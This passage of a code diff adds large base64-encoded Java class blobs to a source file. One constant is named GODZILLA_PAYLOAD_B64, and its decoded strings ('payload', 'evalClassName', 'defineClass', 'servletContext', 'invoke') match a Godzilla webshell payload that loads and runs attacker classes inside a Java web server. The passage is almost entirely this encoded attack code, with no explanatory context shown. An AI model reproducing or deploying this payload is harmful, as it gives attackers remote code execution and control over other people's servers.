+ "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" +
+ "hCoqtABJK7cASsAASzoGGQbHACu7AKhZK7cAuToHGQe2AN86BioqtABJEuAZB7cAXioqtABJKxkGtwBeFgSIuADhOgcZBlk6CcIZ" +
+ "BiAWBGm2AGBXGQYZB7YA4jYIGQnDpwALOgoZCcMZCr8VCLwIOgkZB7YA4wMZCQMVCLgA5BkJuAClsAACAEkAXwBiAAAAYgBnAGIA" +
+ "AAADAU0AAAA6AA4AAAHQAA4B0QATAdMAHQHUACQB1QAwAdYAOwHYAEMB2gBJAdwAUwHdAFwB3gBqAeIAcAHjAH4B5AFOAAAAZgAK" +
+ "AB0AHgGVAZYABwBcAAYBvAGYAAgAAACEAU8BUAAAAAAAhAE6ATkAAQAAAIQBPwG9AAIAAACEAUABvQAEAA4AdgFjAWQABgBDAEEB" +
+ "vgG/AAcAagAaAbwBmAAIAHAAFAE8AWYACQFeAAAAOgAD/AA7BwBL/wAmAAgHATcHAJIEBAcASwcBwAAHACsAAQcARf8ABwAHBwE3" +
+ "BwCSBAQHAEsHAcABAAABbQAAAAQAAQA1AAoBwQHCAAIBTAAAAiYABgANAAAAr7sAfVkqtwB+TSy2AGpOuwBaWbsAU1m3AFS7AH1Z" +
+ "KrcAfrYA5bYAlLYAWLIA5rYAWC22AFgS57YAWLYAb7cAWzoEuADoNwUBOge7AOlZGQS3AOo6B7sAfVkqtwB+OggZCBkHGQi2AGob" +
+ "uADruADoNwkZB8YAPBkHtgDspwA0OggZCLYA7qcAKjoIuwDvWRLwGQi3APG/OgsZB8YAEhkHtgDspwAKOgwZDLYA7hkLv7EABQB1" +
+ "AHoAfQDtAEkAcACHADUASQBwAJUAAACcAKEApADtAIcAlwCVAAAAAwFNAAAAYgAYAAAB6QAJAeoADgHrAEEB7ABGAe0ASQHvAFQB" +
+ "8ABeAfEAawHyAHAB9gB1AfgAegH7AH0B+QB/AfoAhAH7AIcB8wCJAfQAlQH2AJwB+AChAfsApAH5AKYB+gCrAf0ArgH/AU4AAABw" +
+ "AAsAXgASAcMBdAAIAH8ABQFWAcQACACJAAwBVgFXAAgApgAFAVYBxAAMAAAArwHFATkAAAAAAK8BxgHHAAEACQCmAXMBdAACAA4A" +
+ "oQHIATkAAwBBAG4ByQFwAAQARgBpAcoBvQAFAEkAZgHLAcwABwFeAAAAXwAG/wB9AAcHAJIBBwB9BwCSBwBaBAcA6QABBwDtSQcA" +
+ "NU0HAEX/AA4ACwcAkgEHAH0HAJIHAFoEBwDpAAAABwBFAAEHAO0G/wACAAcHAJIBBwB9BwCSBwBaBAcA6QAAAW0AAAAEAAEANQAK" +
+ "Ac0BzgACAUwAAAH4AAUACgAAANkS8rwIOgQqtgCzmQA/K7sA81kstwD0tgD1uwCoWSq3AKk6BhkGGQS2APZZNgUCnwAPKxkEAxUF" +
+ "tgD3p//pK7YA+BkGtgCspwCSKrYAozoFGQXGAAkZBb6aACwdmQB9K7sA81m7AFNZtwBULLYAWBKFtgBYtgBvtwD0tgD1K7YA+KcA" +
+ "WBkFOgYZBr42BwM2CBUIFQeiAEUZBhUIMjoJHZkAKBkJK7sAU1m3AFQstgBYEoW2AFgZCbYAarYAWLYAbx24AOunAA8ZCSsZCbYA" +
+ "ah24AOuECAGn/7qxAAAAAwFNAAAAUgAUAAACAwAGAgQADQIGABkCCQAjAgoAMQILAD0CDgBBAg8ARgIQAEkCEQBPAhIAWgIUAF4C" +
+ "FgB8AhgAgwIcAJ0CHgChAiEAxgIjANICHADYAikBTgAAAFwACQAtABkBzwGYAAUAIwAjAdABlgAGAJ0ANQFzAXQACQBPAIkB0QHS" +
+ "AAUAAADZAcMBdAAAAAAA2QHLAcwAAQAAANkB0wE5AAIAAADZAcYBxwADAAYA0wHUAWYABAFeAAAAUwAJ/gAjBwAuAAcAqP8AGQAH" +
+ "BwB9BwDpBwCSAQcALgEHAKgAAPkAC/wAEAcBjij+AAsHAY4BAfwANgcAffoAC/8ABQAFBwB9BwDpBwCSAQcALgAAAW0AAAAEAAEA" +
+ "NQACAdUB1gADAUwAAAEUAAUABgAAAHG7AFNZtwBUTi0S+bYAWFcruQD6AQA6BBkEuQD7AQCZADAZBLkA/AEAwAD9OgUtuwBTWbcA" +
+ "VCoZBRy3AC+2AFgS/rYAWLYAb7YAWFen/8wttgBvEv62AP+ZAA0tLbYBAARktgEBLRMBArYAWFcttgBvsAAAAAQBTQAAACYACQAA" +
+ "Ai0ACAIuAA8CLwAtAjAASwIxAE4CMgBaAjMAZAI0AGwCNQFOAAAANAAFAC0AHgHXAVsABQAAAHEBTwFQAAAAAABxAYcBiwABAAAA" +
+ "cQHYAccAAgAIAGkBagFrAAMBXAAAABYAAgAtAB4B1wFdAAUAAABxAYcBjAABAV4AAAAPAAP9ABcHAFMHAdn6ADYVAW0AAAAEAAEA" +
+ "NQF1AAAAAgHaAAIB2wHcAAMBTAAAAmsABwAKAAABT7sAU1m3AFROEnq4AAM6BC0TAQO2AFhXK7kBBAEAuQEFAQA6BRkFuQD7AQCZ" +
+ "AQEZBbkA/AEAwACSOgYtuwBTWbcAVBMBBrYAWBkGtgBYEwEHtgBYtgBvtgBYVysZBrkBCAIAwACStgEJOgccmQCvGQQTAQq2AHyb" +
+ "AFAqtgAnVxMBC7gAjToIGQgTAQwBtgAqGQgBtgAsOgkZCbYAJxMBDQS9AClZAxIuU7YAKhkJBL0AK1kDGQcSMLYAMVO2ACzAAJI6" +
+ "B6cAVyq2ACdXEwEOuACNOggZCLYBDzoJGQm2ACcTARAEvQApWQMSLlO2ACoZCQS9ACtZAxkHEjC2ADFTtgAswACSOgcZBxMBERJu" +
+ "tgESEwETEm62ARI6By0ZB7YAWFctEwEUtgBYV6f++y22AG8S/rYA/5kADS0ttgEABGS2AQEtEwEVtgBYVy22AG+wAAAABAFNAAAA" +
+ "XgAXAAACOQAIAjoADwI7ABcCPAA6Aj0AWgI+AGoCPwBuAkAAeQJBAIYCQgCXAkMAwwJEAMYCRQDTAkYA2gJHAQYCSQEaAkwBIQJN" +
+ "ASkCTgEsAk8BOAJQAUICUQFKAlIBTgAAAHAACwCGAD0B3QGAAAgAlwAsAd4BRQAJANMARwHdAYAACADaAEAB3gFFAAkAagC/Ad8B" +
+ "OQAHADoA7wHgATkABgAAAU8BTwFQAAAAAAFPAdcBWwABAAABTwHYAccAAgAIAUcBagFrAAMADwFAAXkBOQAEAVwAAAAMAAEAAAFP" +
+ "AdcBXQABAV4AAAAeAAX+ACQHAFMHAJIHAdn9AKEHAJIHAJL7AFP4ABEVAW0AAAAEAAEANQF1AAAAAgHhAAIB4gHjAAIBTAAAAQQA" +
+ "BgAIAAAAdCq0AEm2ACcTARYEvQApWQMSklO2ACoqtABJBL0AK1kDEwEXU7YALLYAnE0sEwEYtgAxTrsBGVktEwEatwEbOgQTARy4" +
+ "AR06BRkFBBkEtgEfGQUrtgEgOga7AKZZtwCnOgcZBxkGtgEhGQe2AK24AKW2ASKwAAAAAgFNAAAAJgAJAAACWAArAlkAMwJaAEAC" +
+ "WwBIAlwAUAJdAFgCXgBhAl8AaAJhAU4AAABSAAgAAAB0AU8BUAAAAAAAdAHkAWYAAQArAEkB4AE5AAIAMwBBAeUBZgADAEAANAHm" +
+ "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";
+
+const GODZILLA_PAYLOAD_B64 =
+ "yv66vgADAC0FaAcAAgEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1l" +
+ "dGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2Jq" +
+ "ZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGph" +
+ "dmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2Ns" +
+ "YXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4" +
+ "AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEA" +
+ "EkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcA" +
+ "CAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2" +
+ "YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABco" +
+ "W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQB" +
+ "ACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFu" +
+ "Zy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQ" +
+ "AFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9N" +
+ "ZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAP" +
+ "CgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5n" +
+ "L05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClM" +
+ "amF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJs" +
+ "ZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZh" +
+ "L2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRl" +
+ "W10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEv" +
+ "bGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmpl" +
+ "Y3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJl" +
+ "c3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWph" +
+ "dmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2" +
+ "YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylW" +
+ "CgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5n" +
+ "L0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9s" +
+ "YW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Ro" +
+ "cm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoA" +
+ "KQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7" +
+ "KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxq" +
+ "YXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRT" +
+ "dHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVy" +
+ "SW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDd" +
+ "AQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgM" +
+ "AOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRl" +
+ "AQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1" +
